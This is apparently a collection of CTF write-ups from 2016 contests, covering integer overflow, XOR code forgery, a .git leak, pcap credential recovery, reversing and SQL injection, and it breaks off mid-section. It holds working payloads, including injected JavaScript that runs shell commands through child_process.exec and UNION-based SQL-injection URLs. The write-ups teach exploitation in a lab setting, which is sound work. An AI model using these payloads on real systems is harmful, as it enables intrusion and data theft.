https://en.wikipedia.org/wiki/Compiler[scripting language]: https://en.wikipedia.org/wiki/Scripting_language[shell-storm.org]: http://shell-storm.org/[shell-storm]:http://shell-storm.org/[shellcode database]: http://shell-storm.org/shellcode/[gdb-peda]: https://github.com/longld/peda[x86]: https://en.wikipedia.org/wiki/X86[Intel x86]: https://en.wikipedia.org/wiki/X86[sh]: https://en.wikipedia.org/wiki/Bourne_shell[/bin/sh]: https://en.wikipedia.org/wiki/Bourne_shell[SANS]: https://www.sans.org/[Holiday Hack Challenge]: https://holidayhackchallenge.com/[USCGA]: http://uscga.edu/[United States Coast Guard Academy]: http://uscga.edu/[US Coast Guard Academy]: http://uscga.edu/[Academy]: http://uscga.edu/[Coast Guard Academy]: http://uscga.edu/[Hackfest]: https://www.sans.org/event/pen-test-hackfest-2015[SSID]: https://en.wikipedia.org/wiki/Service_set_%28802.11_network%29[DNS]: https://en.wikipedia.org/wiki/Domain_Name_System[Python:base64]: https://docs.python.org/2/library/base64.html[OpenWRT]: https://openwrt.org/[node.js]: https://nodejs.org/en/[MongoDB]: https://www.mongodb.org/[Mongo]: https://www.mongodb.org/[SuperGnome 01]: http://52.2.229.189/[Shodan]: https://www.shodan.io/[SuperGnome 02]: http://52.34.3.80/[SuperGnome 03]: http://52.64.191.71/[SuperGnome 04]: http://52.192.152.132/[SuperGnome 05]: http://54.233.105.81/[Local file inclusion]: http://hakipedia.com/index.php/Local_File_Inclusion[LFI]: http://hakipedia.com/index.php/Local_File_Inclusion[PNG]: http://www.libpng.org/pub/png/[.png]: http://www.libpng.org/pub/png/[Remote Code Execution]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[RCE]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[GNU]: https://www.gnu.org/[regular expression]: https://en.wikipedia.org/wiki/Regular_expression[regular expressions]: https://en.wikipedia.org/wiki/Regular_expression[uniq]: https://en.wikipedia.org/wiki/Uniq[sort]: https://en.wikipedia.org/wiki/Sort_%28Unix%29[binary data]: https://en.wikipedia.org/wiki/Binary_data[binary]: https://en.wikipedia.org/wiki/Binary[Firebug]: http://getfirebug.com/[SHA1]: https://en.wikipedia.org/wiki/SHA-1[SHA-1]: https://en.wikipedia.org/wiki/SHA-1[Linux]: https://www.linux.com/[Ubuntu]: http://www.ubuntu.com/[Kali Linux]: https://www.kali.org/[Over The Wire]: http://overthewire.org/wargames/[OverTheWire]: http://overthewire.org/wargames/[Micro Corruption]: https://microcorruption.com/[Smash The Stack]: http://smashthestack.org/[CTFTime]: https://ctftime.org/[Writeups]: https://ctftime.org/writeups[Competitions]: https://ctftime.org/event/list/upcoming[Skull Security]: https://wiki.skullsecurity.org/index.php?title=Main_Page[MITRE]: http://mitrecyberacademy.org/[Trail of Bits]: https://trailofbits.github.io/ctf/[Stegsolve]: http://www.caesum.com/handbook/Stegsolve.jar[stegsolve.jar]: http://www.caesum.com/handbook/Stegsolve.jar[Steghide]: http://steghide.sourceforge.net/[IDA Pro]: https://www.hex-rays.com/products/ida/[Wireshark]: https://www.wireshark.org/[Bro]: https://www.bro.org/[Meterpreter]: https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/[Metasploit]: http://www.metasploit.com/[Burpsuite]: https://portswigger.net/burp/[xortool]: https://github.com/hellman/xortool[sqlmap]: http://sqlmap.org/[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/wiki/Downloads[VBScript Decoder]: https://gist.github.com/bcse/1834878[quipqiup.com]: http://quipqiup.com/[EXIFTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/[Scalpel]: https://github.com/sleuthkit/scalpel[Ryan's Tutorials]: http://ryanstutorials.net[Linux Fundamentals]: http://linux-training.be/linuxfun.pdf[USCGA]: http://uscga.edu[Cyberstakes]: https://cyberstakesonline.com/[Crackmes.de]: http://crackmes.de/[Nuit Du Hack]: http://wargame.nuitduhack.com/[Hacking-Lab]: https://www.hacking-lab.com/index.html[FlareOn]: http://www.flare-on.com/[The Second Extended Filesystem]: http://www.nongnu.org/ext2-doc/ext2.html[GIF]: https://en.wikipedia.org/wiki/GIF[PDFCrack]: http://pdfcrack.sourceforge.net/index.html[Hexcellents CTF Knowledge Base]: http://security.cs.pub.ro/hexcellents/wiki/home[GDB]: https://www.gnu.org/software/gdb/[The Linux System Administrator's Guide]: http://www.tldp.org/LDP/sag/html/index.html[aeskeyfind]: https://citp.princeton.edu/research/memory/code/[rsakeyfind]: https://citp.princeton.edu/research/memory/code/[Easy Python Decompiler]: http://sourceforge.net/projects/easypythondecompiler/[factordb.com]: http://factordb.com/[Volatility]: https://github.com/volatilityfoundation/volatility[Autopsy]: http://www.sleuthkit.org/autopsy/[ShowMyCode]: http://www.showmycode.com/[HTTrack]: https://www.httrack.com/[theHarvester]: https://github.com/laramies/theHarvester[Netcraft]: http://toolbar.netcraft.com/site_report/[Nikto]: https://cirt.net/Nikto2[PIVOT Project]: http://pivotproject.org/[InsomniHack PDF]: http://insomnihack.ch/wp-content/uploads/2016/01/Hacking_like_in_the_movies.pdf[radare]: http://www.radare.org/r/[radare2]: http://www.radare.org/r/[foremost]: https://en.wikipedia.org/wiki/Foremost_%28software%29[ZAP]: https://github.com/zaproxy/zaproxy[Computer Security Student]: https://www.computersecuritystudent.com/HOME/index.html[Vulnerable Web Page]: http://testphp.vulnweb.com/[Hipshot]: https://bitbucket.org/eliteraspberries/hipshot[John the Ripper]: https://en.wikipedia.org/wiki/John_the_Ripper[hashcat]: http://hashcat.net/oclhashcat/[fcrackzip]: http://manpages.ubuntu.com/manpages/hardy/man1/fcrackzip.1.html[Whitehatters Academy]: https://www.whitehatters.academy/[gn00bz]: http://gnoobz.com/[Command Line Kung Fu]:http://blog.commandlinekungfu.com/[Cybrary]: https://www.cybrary.it/[Obum Chidi]: https://obumchidi.wordpress.com/[ksnctf]: http://ksnctf.sweetduet.info/[ToolsWatch]: http://www.toolswatch.org/category/tools/[Net Force]:https://net-force.nl/[Nandy Narwhals]: http://nandynarwhals.org/[CTFHacker]: http://ctfhacker.com/[Tasteless]: http://tasteless.eu/[Dragon Sector]: http://blog.dragonsector.pl/[pwnable.kr]: http://pwnable.kr/[reversing.kr]: http://reversing.kr/[DVWA]: http://www.dvwa.co.uk/[Damn Vulnerable Web App]: http://www.dvwa.co.uk/[b01lers]: https://b01lers.net/[Capture the Swag]: https://ctf.rip/[pointer]: https://en.wikipedia.org/wiki/Pointer_%28computer_programming%29[call stack]: https://en.wikipedia.org/wiki/Call_stack[return statement]: https://en.wikipedia.org/wiki/Return_statement[return address]: https://en.wikipedia.org/wiki/Return_statement[disassemble]: https://en.wikipedia.org/wiki/Disassembler[less]: https://en.wikipedia.org/wiki/Less_%28Unix%29[puts]: http://pubs.opengroup.org/onlinepubs/009695399/functions/puts.html[disassembly]: https://en.wikibooks.org/wiki/X86_Disassembly[PLT]: https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html[Procedure Lookup Table]: http://reverseengineering.stackexchange.com/questions/1992/what-is-plt-got[environment variable]: https://en.wikipedia.org/wiki/Environment_variable[getenvaddr]: https://code.google.com/p/protostar-solutions/source/browse/Stack+6/getenvaddr.c?r=3d0a6873d44901d63caf9ad3764cfb9ab47f3332[getenvaddr.c]: https://code.google.com/p/protostar-solutions/source/browse/Stack+6/getenvaddr.c?r=3d0a6873d44901d63caf9ad3764cfb9ab47f3332[file]: https://en.wikipedia.org/wiki/File_%28command%29[mplayer]: http://www.mplayerhq.hu/design7/news.html[Audacity]: http://audacityteam.org/[john]: http://www.openwall.com/john/[unshadow]: http://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/[IRC]: https://en.wikipedia.org/wiki/Internet_Relay_Chat[IRC channel]: https://en.wikipedia.org/wiki/Internet_Relay_Chat[git branches]: https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell[branches]: https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell
# IWCTF 2016 - Exploit - EquationSolver - 60 pts > Description: I created a program for an unsolveable equation system. My friend somehow forced it to solve the equations. Can you tell me how he did it?>> Service: 188.166.133.53:12049 # Write-up The service shows a static equation (it's always the same) and asks us to solve it. ```shell$ nc 188.166.133.53 12049Solve the following equations:X > 1337X * 7 + 4 = 1337Enter the solution X: ``` Classic overflow challenge here. Since X has to be larger than 1337, there's no normal solution for this equation. We'll have to pass a value, which will overflow the 32 bit integer result. 1337 in 32 bit binary: ```shell00000000000000000000010100111001 (1337)``` If we now just add 2^32 the value would result to: ```shell100000000000000000000010100111001 (4294968633)``` The service will then try to stuff this into the 32 bit integer value, cutting off the leading 1, resulting again in: ```shell00000000000000000000010100111001 (1337)``` So we just have to find a value for x that results in 4294968633 ```shell(4294968633 - 4) / 7 = 613566947``` ```shell$ nc 188.166.133.53 12049Solve the following equations:X > 1337X * 7 + 4 = 1337Enter the solution X: 613566947You entered: 613566947613566947 is bigger than 13371337 is equal to 1337Well done!IW{Y4Y_0verfl0w}``` And there's our flag.
# Writeup for Bank CRYPTO (90) > Description: Everyone knows that banks are insecure. This one super secure and only allows only 20 transactions per session. I always wanted a million on my account. ![crypto90.zip](crypto90.zip) I started analysing behaviour of the given script b@x:~/Desktop/task > python bank.py WELCOME TO THE BANK BACKEND! Possible commands: help - Prints this message create - Creates a new transaction with amount complete <tid> <hash> - Completes a transaction to the current account. <tid> is the transaction ID to use and <hash> the verification hash. Your balance: 0, 20 transactions left. Command: create 1000 Transaction #0 over 1000 initiated. Please complete it using the verification code: 527f692949701f5f273a1e552248342366 Your balance: 0, 19 transactions left. Command: complete 0 527f692949701f5f273a1e552248342366 Transaction completed! Your balance: 1000, 19 transactions left. Command: create 5000 Transaction #1 over 5000 initiated. Please complete it using the verification code: 123f296909305f1f677a5e15620c746326 Your balance: 1000, 18 transactions left. Command: create 9999 Too many transactions or amount too big! Your balance: 1000, 18 transactions left. We need to have a million or more in 'your balance' and seems that it's impossible to create transactions of 9999$ or more let's check how it's done in the code class Transaction: def __init__(self, a): self.__a = a self.__k = int(os.urandom(32).encode('hex'),16) self.__v = True [......] class Transaction is created after we type command 'create' and it remembers the amount of money in __a below is a fragment of code from command handled elif("complete" in cmd): [.......] if(len(h) != 34): print 'Wrong verification length' continue tn = A.get_t()[t] #get transaction of number t tn = C.decrypt(tn, h) #decryption: tn - transaction, h - verification code if(tn is None): print 'Oops, verification failed!' continue r = A.add_m(tn) #adding money to account we see that amount of added money to account is based on decrypted value, so let's investigate how encryption and decryption is done and check how to avoid 'verification failed' def encrypt(self, t): # t is object of class Transaction self.__r.set_x(t.get_k()) ct = "" s = str(t) #(1) l = len(s) s += chr(0x09)*(17-l) #(2) for c in s: ct += chr( ord(c) ^ (self.__r.get_next() % 2**7) ) #(3) return ct.encode('hex') def decrypt(self, t, ct): # t - transaction ct - verification code self.__r.set_x(t.get_k()) try: ct = ct.decode('hex') pt = "" for c in ct: pt += chr( ord(c) ^ (self.__r.get_next() % 2**7) ) if(not "TRANSACTION" in pt): return None a = int(pt.replace("TRANSACTION:","")) t.set_a(a) return t except: return None the text is simply xor'ed with bytes generated by the class Randomizer function encrypt get's a text value of object of class Transaction (1) adds padding 0x09 where length is too small (2) and xor's this text (3) this text value of object looks like "TRANSACTION: 1000" we can see this in below code: class Transaction: [....] def __str__(self): return "TRANSACTION: " + str(self.__a) function decrypt is checking if transaction code is correct by checking of presence of text "TRANSACTION:" in the decrypted value encrypted text looks like 'T' xor'ed with something, 'r' xor'ed with something2, 'a' xored with something3 and so on... on the position 13 we have '1' xor x1 , 14 - '0' xor x2, 15 -'0' xor x3, 16 - '0' xor x4. We can xor position 13 with '1' and after that xor with '9' and position 14 with '0' and '9' and so on ('1' xor x1) xor '1' xor '9' = x1 xor '9' so we can change 1000 to 9999 but 9999*20 is still lower than million and we can't make verification code longer but seems like we can also change space between ':' and a value to some number because only "TRANSACTION:" is removed before casting decrypted value to integer so let's change space also to '9' using same method as above I created a code which changes verification code of value 1000 to code with value 99999 ![bank_solv.py](bank_solv.py) we need to create ~11 transaction
# 0ldsk00lBlog (Web, 80pts) --- ## Problem Description: I stumbled across this kinda oldskool blog. I bet it is unhackable, I mean, there's only static HTML. Service: https://0ldsk00lblog.ctf.internetwache.org/ ## Solution The page is a very simple static HTML: ![Blog page](0ldsk00lblog_01.png) No _robots.txt_, no _admin_, literally nothing :) But there's a mention about Git, so let's try path to _.git/logs/HEAD_ : ![Blog page](0ldsk00lblog_02.png) Bingo! As I was describing a few weeks ago, how to hack Git repositories (see https://github.com/bl4de/research/blob/master/hidden_directories_leaks/README.md#git) - I've just followed my way and I've got the flag very soon: ```bl4de on Rafals-MacBook in ~/hacking/ctf/2016/internetwache_2016/0ldsk00lBlog $ git cat-file -p 3be70be50c04bab8cd5d115da10c3a9c784d6bae100644 blob 5508adb31bf48ae5fe437bdeba60f83982356934 index.htmlbl4de on Rafals-MacBook in ~/hacking/ctf/2016/internetwache_2016/0ldsk00lBlog $ mkdir .git/objects/55bl4de on Rafals-MacBook in ~/hacking/ctf/2016/internetwache_2016/0ldsk00lBlog $ mv 08adb31bf48ae5fe437bdeba60f83982356934 $_bl4de on Rafals-MacBook in ~/hacking/ctf/2016/internetwache_2016/0ldsk00lBlog $ git cat-file -p 5508adb31bf48ae5fe437bdeba60f83982356934 <html><head> <title>0ldsk00l</title></head><body> <h2>2000</h2> Oh, did I say that I like kittens? I like flags, too: IW{G1T_1S_4W3SOME} Oh, did I say that I like kittens? I like flags, too: IW{G1T_1S_4W3SOME} <h2>1990-2015</h2> Hmm, looks like totally forgot about this page. I should start blogging more often. Hmm, looks like totally forgot about this page. I should start blogging more often. <h2>1990</h2> I proudly present to you the very first browser for the World Wide Web. Feel free to use it to view my awesome blog. I proudly present to you the very first browser for the World Wide Web. Feel free to use it to view my awesome blog. <h2>1989</h2> So, yeah, I decided to invent the World Wide Web and now I'm sitting here and writing this. </body></html>``` So, yeah, I decided to invent the World Wide Web and now I'm sitting here and writing this. So the flag is: ```IW{G1T_1S_4W3SOME}
# Internetwache CTF 2016 : Eso Tape **Category:** Reversing**Points:** 80**Solves:** 69**Description:** > Description: I once took a nap on my keyboard. I dreamed of a brand new language, but I could not decipher it nor get its meaning. Can you help me? Hint: Replace the spaces with either '{' or '}' in the solution. Hint: Interpreters don't help. Operations write to the current index.> > > Attachment: [rev80.zip](./rev80.zip) ## Write-up We are given just one file in the challenge ZIP: `priner.tb` Opening the file, we are presented with a wonderous mix of #, %, +, -, &, * and & symbols. Given this, plus the name of the challenge and the name/extension of the file, I assumed this is some sort of esoteric language, so I found my way to [esolangs.org's language list](http://esolangs.org/wiki/Language_list) and started investigating. Considering the challenge name Eso **Tape**, I guessed the t in .tb might also stand for tape. I searched for "tape" on the language list page, and found what I was looking for in the third match: [TapeBagel](http://esolangs.org/wiki/TapeBagel). The TapeBagel wiki entry details the action each block of characters performs on the program state, however I was unable to find an interpreter I could run on the challenge file. I was (un)lucky enough to be working on this challenge before the hints for it were released, which stated "Interpreters don't help. Operations write to the current index.", which implies that the activity the program performs might be simple enough to work out by hand....... Instead, I implemented an *extremely* simple (don't judge, it's for a CTF!) TapeBagel interpreter in Python, which I've made available [here](https://github.com/jashanbhoora/TapeBagel-Interpreter) So! Running the file we are given through my interpreter outputs the string "IW ILOVETAPEBAGEL ". Replacing the spaces with braces, we get our flag!I really enjoyed this challenge! Kudos to the creator! Flag: **IW{ILOVETAPEBAGEL}** ## Other write-ups and resources * <https://www.xil.se/post/internetwache-2016-rev80-kbeckmann/>* <https://www.xil.se/post/internetwache-2016-rev-80-arturo182/>* <https://github.com/jashanbhoora/write-ups-2016/tree/master/internetwache-ctf-2016/reversing/eso-tape-80>* <https://0x90r00t.com/2016/02/22/internetwache-ctf-2016-reverse-80-eso-tape-write-up/>* <https://github.com/p4-team/ctf/tree/master/2016-02-20-internetwache/re_80>* <https://github.com/EspacioTeam/write-ups/tree/master/2016/internetwache/exp80>* <https://github.com/QuokkaLight/write-ups/blob/master/internetwache-ctf-2016/reverse/rev80.md>* <http://poning.me/2016/02/29/eso-tape/>[esolangs.org's language list](http://esolangs.org/wiki/Language_list)[TapeBagel](http://esolangs.org/wiki/TapeBagel)[TapeBagel Interpreter](https://github.com/jashanbhoora/TapeBagel-Interpreter)
# Programming (Pretty much _"Recon"_) ##Programming 1**Q: So you reached Delhi and now the noise in your head is not allowing you to think rationally. The Nosise in your head has origin its Origin in your Stomach. And this is a big hunger. You can finish one or probably 2 Tandoori Chicken. So where can you get the best Tandoori Chicken in Delhi? This place tweeted last week that the Tandoori Chicken it servers is like never B4. You got its twitter handle?** - This challenge could be solved in one of two ways. You could use a scraper to find a post or spend 30 seconds searching for Tandoori Chicken on twitter. We opted for the fastest way and searched for "tandoori chicken like never before." The first tweet displayed was by @AnyaHotels, https://twitter.com/AnyaHotels/status/690040639619227648. The Flag was the twitter handle @AnyaHotels. ##Programming 2**Q: Your simple good Deeds can save you but your GREED can kill you. This has happened before. This greedy person lived a miserable life just for the greed of gold and lust. You must know him, once you know him, you must reach his capital and next clues will be given by his famous EX-Body Guard. This file consists of few paragraphs. Each paragraph singles out one Alphabet. Scrambling those Alphabets will help you to know the country of this Ruler. Who was this Ruler?** - The file given contained the following text : **along with azalaan, country has became a major tourist attraction, with as many landmarks as Paris, such as Great Tribal Pyramid and 3,000 year old statue of the Gold Fartility Go it has a recast as a statue of Haffaz azalaan due to public outcry. Due to the lack of foreign investment, azalaann has attempted to offer 400,000 square miles of desert land to countries wishing to test missiles or to dump chemical waste. lion is 1 of the 5 n live big cats, lives in the long parallel Panthera family Fellidae. Commonlly used term African lion collectively denotes several clubs found in Africa. With some males of 250 kg (550 lb) weight, lion the second-largest living cat. Wild lions currentlly exist in sub-Saharan Africa and Asia (large n legally protected popullation resides in Gir Forest National Park in India) while other types of lions pulled up popullation from North Africa. Since in time immemorial, earliest known in 5 August 1730 at Bizilabithi, Knit between Knit in London. The London-based nickle miner St James Irven Post irrupted on Fri, 8 April: "'Twas thought that the Kentish champions would have lost their honours by being bitten in innings if time had permitted". This is the first time word "innings" is found in records. Incidentally, it is first time this "champions" is found in is significant it confirms this idea of champion city established among cricket this is the earliest known instance of this filling The borbons books club was always being busy. Carbaboni Candlebar was webbed with brothers books being busted in the big bag.The night became darker by passing bits and sounds of beasts barking at the busy subway. Its believed to be coroborated by the best in the subsudry in bank of brisbane being called and brought in during military service. As Cbaboni bceomes aware, she starts building love for brother and about bincent really became. Really utility stocks ( by the way including city food supply, gas supply water supply fully busy road supply) have provided highly good yield and way for envysor not only live or lay by dividend, but have supply opportunity, try solidify a sundry. By this hy yeild they listed fully utility stocks they can really purchase. Virtually shares lysted by U.S. were sharess by few way inferior and not listed in Newyork.** - This challenge involved analysing the frequency of letters in each paragraph and recording the letter with the highest frequency in each paragraph. We used the word frequency counter from https://www.mtholyoke.edu/courses/quenell/s2003/ma139/js/count.html to get this done. - Once that is done you get the letters: A L I B Y -Rearraging these letters we get LIBYA. From this we deduced that the challange was looking for Ghaddafi which happened to be the flag. ##Programming 3**Q: Still Hungry and unsutisfied, you are looking for more. Some more, unique un heard dishes. Then you can find one to make it your self. Its his Dish. He has his own website which is he describes as " a social home for each of our passions". The link to his website is on his google+ page. whats the name of his site. By the way he loves and hogs on "Onion Kheer". Have you heard of "Onion Kheer"?** - The solution was simple. Searching for Onion kheer on google plus provides you with multiple results on Chef BB. The flag was affimity.com which was found on one of the top three resuts. ##Programming 4**Q: One of the _"NullCon"_ vidoes talked about a marvalous Russian Gift. The Vidoe was uploaded on [_"May of 2015"_] What is the ID of that _"Youtube video"_.** - This was a very simple "recon" question. If you look at the "quoted" words in the question, you go to Youtube and search for "Nullcon" and you will see its channel, under the channel's videos category, you just look for the video that was uploaded back in May of 2015. There are few videos uploaded in May of 2015, but you have unlimited submission chance, so try it until you find the correct one. - The _"ID"_ can be found in the URL. The correct video had the following URL: "https://www.youtube.com/watch?v=a4_PvN_A1ts". After the "watch?v=", "a4_PvN_A1ts" is the video's ID. - Therefore the answer was: **"a4_PvN_A1ts"** ##Programming 5**Q: Dont blink your Eyes, you might miss it. But the fatigue and exhaustion rules out any logic, any will to stay awake. What you need now is a slumber. Cat nap will not do. 1 is LIFE and 0 is DEAD. in this GAME OF LIFE sleep is as important food. So... catch some sleep. But Remember...In the world of 10x10 matirx, the Life exists. If you SLOTH, sleep for 7 Ticks, or 7 Generation, In the game of Life can you tell what will be the state of the world? The world- 10x10 0000000000,0000000000,0001111100,0000000100,0000001000,0000010000,0000100000,0001000000,0000000000,000000000** - The challenge referres to Conways Game of life. We first started off by looking for a 10x10 version of the game online and found one at he following link: http://www.edshare.soton.ac.uk/948/5/gol.html. We then filled in the blocks using the binary numbers given using 1 as LIFE and 0 as DEAD. The game was runfor 7 generations and the resulting row binaries gave the flag.
# Rock With The Shark (Misc, 70pts) --- ## Problem The shark won't bite you. Don't worry, it's wired! ## Solution We get _pcap_ file with some HTTP transmission. Using Wireshark we can extract _flag.zip_ file, which is secured by password. When we take a look closer at one of HTTP request and response, we find HTTP Basic Authorization header: ```GET /flag.zip HTTP/1.1Host: 192.168.1.41:8080Connection: keep-aliveAuthorization: Basic ZmxhZzphenVsY3JlbWE=Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36DNT: 1Referer: http://192.168.1.41:8080/Accept-Encoding: gzip, deflate, sdchAccept-Language: en-US,en;q=0.8,ht;q=0.6 HTTP/1.0 200 OKServer: servefile/0.4.4 Python/2.7.10Date: Fri, 13 Nov 2015 18:41:09 GMTContent-Length: 222Connection: closeLast-Modified: Fri, 13 Nov 2015 18:41:09 GMTContent-Type: application/octet-streamContent-Disposition: attachment; filename="flag.zip"Content-Transfer-Encoding: binary PK.......x.mG....(...........flag.txtUT ...-FV.-FVux..............;......q.........9.....H.!... >B.....+:PK......(.......PK.........x.mG....(.........................flag.txtUT....-FVux.............PK..........N...z..... ``` Base64-encoded credentials (ZmxhZzphenVsY3JlbWE=) are _flag:azulcrema_Password is valid for _flag.zip_ and we can get _flag.txt_ file with the flag: ```IW{HTTP_BASIC_AUTH_IS_EASY}
# IWCTF 2016 - Exploit - Sh-ock - 90 pts > Description: This is some kind of weird thing. I am sh-ocked. > Service: 188.166.133.53:12589 # Write-up After connecting to the specified service, we'll get a prompt looking like a shell at first. But after trying some commands, it gets obvious, that this ain't your normal shell, and it also has an awkward way of reading input. ```shell$ nc 188.166.133.53 12589Welcome and have fun!$ls[ReferenceError: l is not defined]$abcdefg[ReferenceError: fdb is not defined]``` The error message reveals, that our input gets parsed backwards and it only reads every second character. Adapting to this: ```shell$l.a.v.e.[Function: eval]``` It seems to be some javascript interpreter. To make it a bit easier to communicate with the service, I wrote a (quick&dirty) python script, which reverses the input and adds the needed placeholders. It then occured, that the longer our command is, the more placeholders were needed (count of dots found by empirical analysis ;-)) ```python#!/usr/bin/pythonfrom socket import *import sysimport time BANNER = "Welcome and have fun!\n" s = None def connect(): global s s = socket(AF_INET, SOCK_STREAM) s.connect(("188.166.133.53",12589)) banner = s.recv(len(BANNER)) print banner def obfuscate(cmd): rev = cmd[::-1] res = "" for ch in rev: res += ch if len(cmd)<5: res += "." elif len(cmd)<6: res += ".." elif len(cmd)<8: res += "..." elif len(cmd)<9: res += "...." else: res += "....." return res def execCmd(): global s input = raw_input(prompt) cmd = obfuscate(input)+"\n" print "Cmd: %s" % cmd s.send(cmd) time.sleep(0.5) response = s.recv(4096) print "Response: %s" % response connect() prompt = s.recv(1) while True: execCmd()``` With this out of the way, we can start to find a way to exploit this thing. ```shell$ python comm.py Welcome and have fun! $sys=require('sys')Cmd: ).....'.....s.....y.....s.....'.....(.....e.....r.....i.....u.....q.....e.....r.....=.....s.....y.....s..... Response: { format: [Function], deprecate: [Function], debuglog: [Function], inspect: { [Function: inspect][SNIP] _exceptionWithHostPort: [Function] } $exec=require('child_process').execCmd: c.....e.....x.....e...........).....'.....s.....s.....e.....c.....o.....r.....p....._.....d.....l.....i.....h.....c.....'.....(.....e.....r.....i.....u.....q.....e.....r.....=.....c.....e.....x.....e..... Response: [Function] $foo=exec("ls -la",function(error,stdout,stdin){sys.print(stdout)})Cmd: ).....}.....).....t.....u.....o.....d.....t.....s.....(.....t.....n.....i.....r.....p...........s.....y.....s.....{.....).....n.....i.....d.....t.....s.....,.....t.....u.....o.....d.....t.....s.....,.....r.....o.....r.....r.....e.....(.....n.....o.....i.....t.....c.....n.....u.....f.....,.....".....a.....l.....-..... .....s.....l.....".....(.....c.....e.....x.....e.....=.....o.....o.....f..... Response: ChildProcess { domain: null, _events: { close: [Function: exithandler], error: [Function: errorhandler] }, _eventsCount: 2, _maxListeners: undefined, _closesNeeded: 3, _closesGot: 0, connected: false, signalCode: null, exitCode: null, killed: false, spawnfile: '/bin/sh', _handle: Process { owner: [Circular], onexit: [Function], pid: 28225 }, spawnargs: [ '/bin/sh', '-c', 'ls -la' ], pid: 28225,[SNIP] $foo()Cmd: )..(..o..o..f.. Response: wHalfOpen: false, destroyed: false, bytesRead: 0, _bytesDispatched: 0, _sockname: null, _writev: null, _pendingData: null, _pendingEncoding: '' },[SNIP] _pendingEncoding: '' } ] }$total 16drwxr-x--- 2 root exp90 4096 Feb 21 03:23 .drwxr-xr-x 14 root exp90 4096 Feb 11 12:19 ..-rw-r--r-- 1 root exp90 24 Feb 11 18:23 flag.txt-rw-r--r-- 1 root exp90 1011 Feb 11 18:23 task.js[TypeError: foo is not a function]$``` There it is, let's grab it and finish this... ```shell$foo=exec("cat flag.txt",function(error,stdout,stdin){sys.print(stdout)})Cmd: ).....}.....).....t.....u.....o.....d.....t.....s.....(.....t.....n.....i.....r.....p...........s.....y.....s.....{.....).....n.....i.....d.....t.....s.....,.....t.....u.....o.....d.....t.....s.....,.....r.....o.....r.....r.....e.....(.....n.....o.....i.....t.....c.....n.....u.....f.....,.....".....t.....x.....t...........g.....a.....l.....f..... .....t.....a.....c.....".....(.....c.....e.....x.....e.....=.....o.....o.....f..... Response: ChildProcess { domain: null,[SNIP] $foo()Cmd: )..(..o..o..f.. Response: allowHalfOpen: false, destroyed: false, bytesRead: 0,[SNIP] _pendingEncoding: '' } ] }$IW{Shocked-for-nothing!}[TypeError: foo is not a function]``` Flag: `$IW{Shocked-for-nothing!}`
# HackIM RE 1 ZorroPub - 100pts >ZorroPub ## Write-up This was an interesting challenge and took a bit longer than I expected, mostly because I couldn't find a decent implementation of the glibc `rand()/srand()` functions anywhere, so I ended up just firing up a Linux VM (the lazy is strong with me). Firing up the program we are asked to get a number of drinks, and a drinkID for each drink specified. After decompiling the binary with IDA I checked out one run of the codepath, noting that my input for drink IDs had to be between `0x10` `0xFFFF`, the weird encryption key that was being read (`encryption_key` down below), as well as the final MD5 check that happened before the answer was "accepted". After extracting all this information (and using ctypes to interact with the glibc random number generator) I put together a brute force harness that essentially did all the stuff that mattered in our program without any of the stuff that didn't. After a while it found that `1` drink with the ID `59306` had the right md5. Piping that back into our program spits out the flag `nullcon{nu11c0n_s4yz_x0r1n6_1s_4m4z1ng}` Flag:> nullcon{nu11c0n_s4yz_x0r1n6_1s_4m4z1ng} ```python# mmmm ctypeslibsystem = ctypes.CDLL('libc.so.6') # Extracted by handencryption_key = [ 0x03C8, 0x0032, 0x02CE, 0x0302, 0x007F, 0x01B8, 0x037E, 0x0188, 0x0349, 0x027F, 0x005E, 0x0234, 0x0354, 0x01A3, 0x0096, 0x0340, 0x0128, 0x02FC, 0x0300, 0x028E, 0x0126, 0x001B, 0x032A, 0x02F5, 0x015F, 0x0368, 0x01EB, 0x0079, 0x011D, 0x024E] need_md5 = '5eba99aff105c9ff6a1a913e343fec67'mc = 0while True: for drink_id_count in range(17, 0xFFFE): mc += 1 if mc % 1000 == 0: sys.stdout.write('.') sys.stdout.flush() for counter in range(5): input_1 = counter seed = 0 drink_ids = [] for x in range(input_1): drink_id = drink_id_count drink_ids.append(drink_id) if drink_id <= 16 or drink_id > 0xFFFF: continue else: seed ^= drink_id count = seed some_num = 0 while count > 1: some_num += 1 count &= (count - 1) if some_num != 10: continue else: pass libsystem.srand(seed) flag = "" h = hashlib.md5() for x in range(30): ran = libsystem.rand() rand_number = ran % 1000 h.update("%d" % rand_number) flag += chr((rand_number ^ encryption_key[x])&0xFF) if h.hexdigest() == need_md5: print "\nHash -> %s" % h.hexdigest() print "Found it! Drinks:%d, Drink IDs:%s" % (counter, drink_ids) raw_input()```
# Unicle (Web, 200pts) ## Problem OSaaS is the new trend for 2016! Store your object directly in the cloud. Get rid of the hassle of managing your own storage for object with Osaas. Unickle currently offers a beta version that demonstrates how OSaaS will make the internet a better place... One object at a time!! http://54.84.124.93/ ![Unicle application](unicle01.png) ## Solution After opening url, there's a simple HTML table with all stored objects. There's only one parameter I could manipulate - Category id (cat). ### Phase one - SQL Injection Quick research revealed that 'cat' parameter is vulnerable to SQL Injection. Valid payload should contain standard characters used in attacks based on SQLi (like + as space, /**/ as comment and so on). First payload I've used and was fine, looks like this one (I used four columns in _union_ statement, because displayed HTML table had four columns and I've assumed four is good number to start from :) ): ```bashhttp://54.84.124.93/?cat=2%2b1+and+1=1+union+select+1,2,3,4/**/``` After some attempts to read eg. MySQL version via _version()_ I've realized that this is not MySQL database and one of the payload returned such result in the browser: ```bashhttp://54.84.124.93/?cat=2+union+select+1,2,%22aaa%22,4/**/``` ![SQLi](unicle02.png) That was something new for me, so I've tried some other payloads: ```bashhttp://54.84.124.93/?cat=2+union+select+1,2,%22Magic%20Box%22,4/**/``` and the result in first row in column Value was: "could not find 